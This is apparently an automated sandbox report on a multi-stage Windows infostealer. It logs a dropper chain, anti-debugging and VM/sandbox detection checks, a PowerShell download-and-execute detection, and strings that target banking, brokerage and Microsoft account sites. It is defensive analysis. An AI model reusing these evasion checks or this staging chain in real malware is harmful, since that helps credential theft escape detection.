Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\FHCGCAAKJD.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C61EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C61EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2627631214.00000000006C6000.00000040.00000001.01000000.00000003.sdmp, FHCGCAAKJD.exe, FHCGCAAKJD.exe, 0000000E.00000002.2665309000.000000000042A000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000000F.00000001.2637131800.000000000025A000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000F.00000002.2702188330.000000000025A000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2702175606.000000000025A000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000001.2725935738.000000000025A000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3321779416.000000000025A000.00000040.00000001.01000000.0000000E.sdmp, eb02f9ad86.exe, 00000015.00000002.3321329636.00000000009A3000.00000040.00000001.01000000.00000019.sdmp, 0eb65aaf2f.exe, 00000016.00000002.3321562705.0000000000329000.00000040.00000001.01000000.0000001A.sdmp, 8b4f365c71.exe, 00000017.00000002.3312137096.00000000006D6000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: EBGDHJEC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: EBGDHJEC.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: EBGDHJEC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: EBGDHJEC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: EBGDHJEC.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 0eb65aaf2f.exe, 00000016.00000003.3253954687.0000000005665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: EBGDHJEC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2628818286.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3327175551.00000000012E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3324038246.000001C7FDAB0000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005461000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000002.3326687445.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000002.3326687445.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'
Source: EBGDHJEC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: EBGDHJEC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: EBGDHJEC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: EBGDHJEC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: EBGDHJEC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001087000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000002.3326687445.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EBGDHJEC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: EBGDHJEC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: EBGDHJEC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: EBGDHJEC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`@r>
Source: 20bbca6d77.exe, 00000018.00000003.3319220279.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp, 20bbca6d77.exe, 00000018.00000002.3325262714.0000000000D4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: EBGDHJEC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: EBGDHJEC.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: EBGDHJEC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: EBGDHJEC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: EBGDHJEC.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: EBGDHJEC.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: EBGDHJEC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: EBGDHJEC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: EBGDHJEC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: FHCGCAAKJD.exe, 0000000E.00000002.2667332359.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: EBGDHJEC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: EBGDHJEC.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: EBGDHJEC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 0eb65aaf2f.exe, 00000016.00000003.3253954687.0000000005665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: EBGDHJEC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: EBGDHJEC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2627631214.00000000006C6000.00000040.00000001.01000000.00000003.sdmp, FHCGCAAKJD.exe, 0000000E.00000002.2665309000.000000000042A000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000001.2637131800.000000000025A000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000F.00000002.2702188330.000000000025A000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2702175606.000000000025A000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000001.2725935738.000000000025A000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3321779416.000000000025A000.00000040.00000001.01000000.0000000E.sdmp, eb02f9ad86.exe, 00000015.00000002.3321329636.00000000009A3000.00000040.00000001.01000000.00000019.sdmp, 0eb65aaf2f.exe, 00000016.00000002.3321562705.0000000000329000.00000040.00000001.01000000.0000001A.sdmp, 8b4f365c71.exe, 00000017.00000002.3312137096.00000000006D6000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: EBGDHJEC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: EBGDHJEC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\FHCGCAAKJD.exe

Code function: 14_2_04B90803 rdtsc

14_2_04B90803

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C6EAC62

Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_0027652B mov eax, dword ptr fs:[00000030h]	14_2_0027652B
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_0027A302 mov eax, dword ptr fs:[00000030h]	14_2_0027A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_000AA302 mov eax, dword ptr fs:[00000030h]	15_2_000AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_000A652B mov eax, dword ptr fs:[00000030h]	15_2_000A652B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C6EAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 3040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8b4f365c71.exe PID: 3924, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FHCGCAAKJD.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FHCGCAAKJD.exe "C:\Users\user\Documents\FHCGCAAKJD.exe"	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe "C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe "C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe "C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe "C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe "C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe"
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Process created: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe "C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C734760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C734760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C611C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C611C30

Source: 20bbca6d77.exe, 00000018.00000002.3322789657.0000000000792000.00000002.00000001.01000000.0000001C.sdmp, random[2].exe0.17.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: eb02f9ad86.exe, 00000015.00000002.3321329636.00000000009A3000.00000040.00000001.01000000.00000019.sdmp	Binary or memory string: ^;_Program Manager
Source: file.exe, 00000000.00000002.2627631214.00000000006C6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: FHCGCAAKJD.exe, FHCGCAAKJD.exe, 0000000E.00000002.2665664905.0000000000473000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000000F.00000002.2702584760.00000000002A3000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2702583443.00000000002A3000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: sProgram Manager
Source: 0eb65aaf2f.exe, 00000016.00000002.3321562705.0000000000329000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: &Program Manager
Source: file.exe	Binary or memory string: 1 Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6EAE71 cpuid

0_2_6C6EAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
